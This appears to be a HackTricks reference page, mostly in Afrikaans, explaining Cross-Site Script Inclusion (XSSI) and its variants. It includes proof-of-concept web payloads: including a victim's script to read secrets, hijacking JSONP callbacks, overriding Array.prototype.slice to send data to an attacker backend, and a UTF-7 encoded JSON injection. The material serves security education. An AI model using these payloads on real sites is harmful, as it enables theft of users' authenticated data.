XSSI (Cross-Site Script Inclusion)

Support HackTricks

Basic Information

Cross-Site Script Inclusion (XSSI) is 'n kwesbaarheid wat ontstaan uit die aard van die script tag in HTML. Anders as die meeste hulpbronne, wat onderhewig is aan die Same-Origin Policy (SOP), kan skripte van verskillende domeine ingesluit word. Hierdie gedrag is bedoel om die gebruik van biblioteke en ander hulpbronne wat op verskillende bedieners gehoste is, te fasiliteer, maar dit stel ook 'n potensiële sekuriteitsrisiko in.

Key Characteristics of XSSI:

  • Bypass of SOP: Skripte is vrygestel van die Same-Origin Policy, wat dit moontlik maak om oor domeine ingesluit te word.

  • Data Exposure: 'n Aanvaller kan hierdie gedrag benut om data wat via die script tag gelaai is, te lees.

  • Impact on Dynamic JavaScript/JSONP: XSSI is veral relevant vir dinamiese JavaScript of JSON with Padding (JSONP). Hierdie tegnologieë gebruik dikwels "ambient-authority" inligting (soos koekies) vir outentisering. Wanneer 'n skrip versoek na 'n ander gasheer gemaak word, word hierdie geloofsbriewe (bv. koekies) outomaties in die versoek ingesluit.

  • Authentication Token Leakage: As 'n aanvaller 'n gebruiker se blaaiert kan mislei om 'n skrip van 'n bediener wat hulle beheer, aan te vra, mag hulle in staat wees om sensitiewe inligting wat in hierdie versoeke bevat is, te bekom.

Types

  1. Static JavaScript - Dit verteenwoordig die konvensionele vorm van XSSI.

  2. Static JavaScript with Authentication - Hierdie tipe is uniek omdat dit outentisering vereis om toegang te verkry.

  3. Dynamic JavaScript - Betrek JavaScript wat dinamies inhoud genereer.

  4. Non-JavaScript - Verwys na kwesbaarhede wat nie direk JavaScript betrek nie.

The following information is a sumary of https://www.scip.ch/en/?labs.20160414. Check it for further details.

Regular XSSI

In hierdie benadering is private inligting ingebed binne 'n wêreldwyd toeganklike JavaScript-lêer. Aanvallers kan hierdie lêers identifiseer deur metodes soos lêerlees, sleutelwoordsoektogte, of gereelde uitdrukkings. Sodra dit geleë is, kan die skrip wat private inligting bevat, ingesluit word in kwaadwillige inhoud, wat ongeoorloofde toegang tot sensitiewe data moontlik maak. 'n Voorbeeld van 'n eksploitasiemetode word hieronder getoon:

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>

Dynamiese-JavaScript-gebaseerde-XSSI en Geverifieerde-JavaScript-XSSI

Hierdie tipes XSSI-aanvalle behels dat vertroulike inligting dinamies by die skrip gevoeg word in reaksie op 'n gebruiker se versoek. Opsporing kan gedoen word deur versoeke met en sonder koekies te stuur en die antwoorde te vergelyk. As die inligting verskil, kan dit die teenwoordigheid van vertroulike inligting aandui. Hierdie proses kan geoutomatiseer word met behulp van gereedskap soos die DetectDynamicJS Burp-uitbreiding.

As vertroulike data in 'n globale veranderlike gestoor word, kan dit uitgebuit word met behulp van soortgelyke metodes as dié wat in Gereelde XSSI gebruik word. As die vertroulike data egter in 'n JSONP-antwoord ingesluit is, kan aanvallers die terugroepfunksie oorneem om die inligting te verkry. Dit kan gedoen word deur óf globale voorwerpe te manipuleer óf 'n funksie op te stel wat deur die JSONP-antwoord uitgevoer moet word, soos hieronder gedemonstreer:

<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

Vir veranderlikes wat nie in die globale naamruimte woon nie, kan prototype tampering soms uitgebuit word. Hierdie tegniek benut JavaScript se ontwerp, waar kode-interpretasie die prototipe-ketting deurloop om die aangeroepde eienskap te vind. Deur sekere funksies te oorskry, soos Array se slice, kan aanvallers nie-globale veranderlikes toegang en lek:

Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};

Further details on attack vectors can be found in the work of Security Researcher Sebastian Lekies, who maintains a list of vectors.

Non-Script-XSSI

Takeshi Terada se navorsing stel 'n ander vorm van XSSI bekend, waar Non-Script lêers, soos CSV, oor oorsprong gelek word deur as bronne in 'n script tag ingesluit te word. Historiese voorbeelde van XSSI, soos Jeremiah Grossman se 2006 aanval om 'n volledige Google adresboek te lees en Joe Walker se 2007 JSON data lek, beklemtoon die erns van hierdie bedreigings. Daarbenewens beskryf Gareth Heyes 'n aanval variant wat UTF-7 geënkodeerde JSON insluit om die JSON formaat te ontsnap en skripte uit te voer, effektief in sekere blaaiers:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
Ondersteun HackTricks

Last updated